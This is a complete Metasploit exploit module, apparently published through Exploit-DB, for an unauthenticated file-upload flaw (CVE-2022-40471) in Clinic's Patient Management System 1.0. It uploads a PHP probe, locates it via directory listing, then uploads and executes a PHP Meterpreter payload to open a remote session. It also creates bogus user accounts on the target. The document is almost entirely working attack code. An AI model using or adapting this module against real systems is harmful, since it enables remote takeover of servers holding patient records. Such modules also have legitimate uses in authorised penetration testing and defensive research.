Clinic's Patient Management System 1.0 - Unauthenticated RCE

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::PhpEXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Clinic\'s Patient Management System 1.0 - Unauthenticated RCE',
        'Description' => %q{
          This module exploits an unauthenticated file upload vulnerability in Clinic's
          Patient Management System 1.0. An attacker can upload a PHP web shell and execute
          it by leveraging directory listing enabled on the `/pms/user_images` directory.
        },
        'Author' => [
          'Aaryan Golatkar', # Metasploit Module Developer
          'Oğulcan Hami Gül', # Vulnerability discovery
        ],
        'License' => MSF_LICENSE,
        'Platform' => 'php',
        'Arch' => ARCH_PHP,
        'Privileged' => false,
        'Targets' => [
          ['Clinic Patient Management System 1.0', {}]
        ],
        'DefaultTarget' => 0,
        'References' => [
          ['EDB', '51779'],
          ['CVE', '2022-40471'],
          ['URL', 'https://www.cve.org/CVERecord?id=CVE-2022-40471'],
          ['URL', 'https://drive.google.com/file/d/1m-wTfOL5gY3huaSEM3YPSf98qIrkl-TW/view']
        ],
        'DisclosureDate' => '2022-10-31',
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [ARTIFACTS_ON_DISK]
        }
      )
    )

    register_options([
      OptString.new('TARGETURI', [true, 'Base path to the Clinic Patient Management System', '/pms']),
      OptInt.new('LISTING_DELAY', [true, 'Time to wait before retrieving directory listing (seconds)', 2]),
      OptBool.new('DELETE_FILES', [true, 'Delete uploaded files after exploitation', false])
    ])
  end

  def check
    print_status('Checking if target is vulnerable...')

    # Step 1: Retrieve PHPSESSID
    vprint_status('Fetching PHPSESSID from the server...')
    res_session = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'users.php'),
      'method' => 'GET'
    })

    unless res_session && res_session.code == 302 && res_session.respond_to?(:get_cookies)
      print_error('Server connect error. Couldn\'t connect or get necessary information - try to check your options.')
      return CheckCode::Unknown
    end

    phpsessid = res_session.get_cookies.match(/PHPSESSID=([^;]+)/)
    if phpsessid.nil?
      print_error('Failed to retrieve PHPSESSID. Target may not be vulnerable.')
      return CheckCode::Unknown
    else
      phpsessid = phpsessid[1]
      vprint_good("Obtained PHPSESSID: #{phpsessid}")
    end

    # Step 2: Attempt File Upload
    dummy_filename = "#{Rex::Text.rand_text_alphanumeric(8)}.png"
    dummy_content = Rex::Text.rand_text_alphanumeric(20)
    dummy_name = Rex::Text.rand_text_alphanumeric(6)
    post_data = Rex::MIME::Message.new
    post_data.add_part(dummy_name, nil, nil, 'form-data; name="display_name"')
    post_data.add_part(dummy_name, nil, nil, 'form-data; name="user_name"')
    post_data.add_part(dummy_name, nil, nil, 'form-data; name="password"')
    post_data.add_part(dummy_content, 'text/plain', nil, "form-data; name=\"profile_picture\"; filename=\"#{dummy_filename}\"")
    post_data.add_part('', nil, nil, 'form-data; name="save_user"')

    vprint_status("Uploading dummy file #{dummy_filename}...")
    res_upload = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'users.php'),
      'method' => 'POST',
      'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
      'data' => post_data.to_s,
      'cookie' => "PHPSESSID=#{phpsessid}"
    })

    unless res_upload && res_upload.code == 302
      print_error('File upload attempt failed. Target may not be vulnerable.')
      return CheckCode::Safe
    end
    vprint_good('Dummy file uploaded successfully.')

    # Step 3: Verify File in Directory Listing
    vprint_status('Verifying uploaded file in /pms/user_images...')
    res_listing = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'user_images/'),
      'method' => 'GET',
      'cookie' => "PHPSESSID=#{phpsessid}"
    })

    if res_listing && res_listing.code == 200 && !res_listing.body.nil? && res_listing.body&.include?(dummy_filename)
      vprint_good("File #{dummy_filename} found in /pms/user_images. Target is vulnerable!")
      CheckCode::Vulnerable
    else
      vprint_error("File #{dummy_filename} not found in /pms/user_images. Target may not be vulnerable.")
      CheckCode::Unknown
    end
  end

  def upload_shell
    random_user = Rex::Text.rand_text_alphanumeric(8)
    random_password = Rex::Text.rand_text_alphanumeric(12)
    detection_basename = Rex::Text.rand_text_alphanumeric(8).to_s
    detection_filename = "#{detection_basename}.php"

    # Step 1: Detect the OS
    detection_script = <<~PHP
      <?php
      echo PHP_OS . "\\n";
      ?>
    PHP

    vprint_status("Uploading OS detection script as #{detection_filename}...")
    post_data = Rex::MIME::Message.new
    post_data.add_part(random_user, nil, nil, 'form-data; name="display_name"')
    post_data.add_part(random_user, nil, nil, 'form-data; name="user_name"')
    post_data.add_part(random_password, nil, nil, 'form-data; name="password"')
    post_data.add_part(detection_script, 'application/x-php', nil, "form-data; name=\"profile_picture\"; filename=\"#{detection_filename}\"")
    post_data.add_part('', nil, nil, 'form-data; name="save_user"')

    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'users.php'),
      'method' => 'POST',
      'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
      'data' => post_data.to_s
    })

    fail_with(Failure::UnexpectedReply, 'Failed to upload OS detection script') unless res && res.code == 302
    vprint_good('OS detection script uploaded successfully!')

    # Step 2: Retrieve the actual uploaded filename
    vprint_status('Retrieving directory listing to identify detection script...')
    sleep datastore['LISTING_DELAY']

    res_listing = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'user_images/'),
      'method' => 'GET'
    })

    fail_with(Failure::UnexpectedReply, 'Failed to retrieve directory listing') unless res_listing && res_listing.code == 200

    match = res_listing.body&.match(/<a href="(\d+#{Regexp.escape(detection_basename)}\w*\.php)"/)
    fail_with(Failure::NotFound, 'Uploaded OS detection script not found in directory listing') if match.nil?

    actual_detection_filename = match[1]
    vprint_status("Detected script filename: #{actual_detection_filename}")

    # Step 3: Execute the detection script
    detection_url = normalize_uri(target_uri.path, 'user_images', actual_detection_filename)
    vprint_status("Executing OS detection script at #{detection_url}...")
    res = send_request_cgi({
      'uri' => detection_url,
      'method' => 'GET'
    })

    fail_with(Failure::UnexpectedReply, 'Failed to execute OS detection script') unless res && res.code == 200 && !res.body.nil?
    detected_os = res.body.strip.downcase
    vprint_status("Detected OS: #{detected_os}")

    # Step 4: Choose payload based on OS
    if detected_os.include?('win')
      payload_content = get_write_exec_payload
      print_status('Target is Windows. Using standard PHP Meterpreter payload.')
    else
      payload_content = get_write_exec_payload(unlink_self: true)
      print_status('Target is Linux/Unix. Using PHP Meterpreter payload with unlink_self.')
    end

    # Step 5: Upload the payload
    random_user = Rex::Text.rand_text_alphanumeric(8)
    random_password = Rex::Text.rand_text_alphanumeric(12)
    payload_filename = "#{Rex::Text.rand_text_alphanumeric(8)}.php"

    vprint_status("Uploading PHP Meterpreter payload as #{payload_filename}...")

    post_data = Rex::MIME::Message.new
    post_data.add_part(random_user, nil, nil, 'form-data; name="display_name"')
    post_data.add_part(random_user, nil, nil, 'form-data; name="user_name"')
    post_data.add_part(random_password, nil, nil, 'form-data; name="password"')
    post_data.add_part(payload_content, 'application/x-php', nil, "form-data; name=\"profile_picture\"; filename=\"#{payload_filename}\"")
    post_data.add_part('', nil, nil, 'form-data; name="save_user"')

    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'users.php'),
      'method' => 'POST',
      'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
      'data' => post_data.to_s
    })

    fail_with(Failure::UnexpectedReply, 'Failed to upload PHP payload') unless res && res.code == 302
    print_good('Payload uploaded successfully!')

    # Verify the presence of the uploaded file in the directory listing
    vprint_status('Retrieving directory listing to confirm the uploaded payload...')
    sleep datastore['LISTING_DELAY'] # Allow time for the file to appear on the server

    res_listing = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'user_images/'),
      'method' => 'GET'
    })

    fail_with(Failure::UnexpectedReply, 'Failed to retrieve directory listing') unless res_listing && res_listing.code == 200

    # Search for the uploaded filename
    match = res_listing.body&.match(/href="(\d+#{Regexp.escape(payload_filename)})"/)
    fail_with(Failure::NotFound, 'Uploaded file not found in directory listing') if match.nil?

    actual_filename = match[1]
    vprint_good("Verified payload presence: #{actual_filename}")
    register_file_for_cleanup(actual_detection_filename, actual_filename) if datastore['DELETE_FILES']
    actual_filename
  end

  def exploit
    # Upload the shell and retrieve its filename
    uploaded_filename = upload_shell

    # Construct the URL for the uploaded shell
    shell_url = normalize_uri(target_uri.path, 'user_images', uploaded_filename)
    print_status("Executing the uploaded shell at #{shell_url}...")

    # Execute the uploaded shell
    send_request_raw({ 'uri' => shell_url, 'method' => 'GET' })
  end
end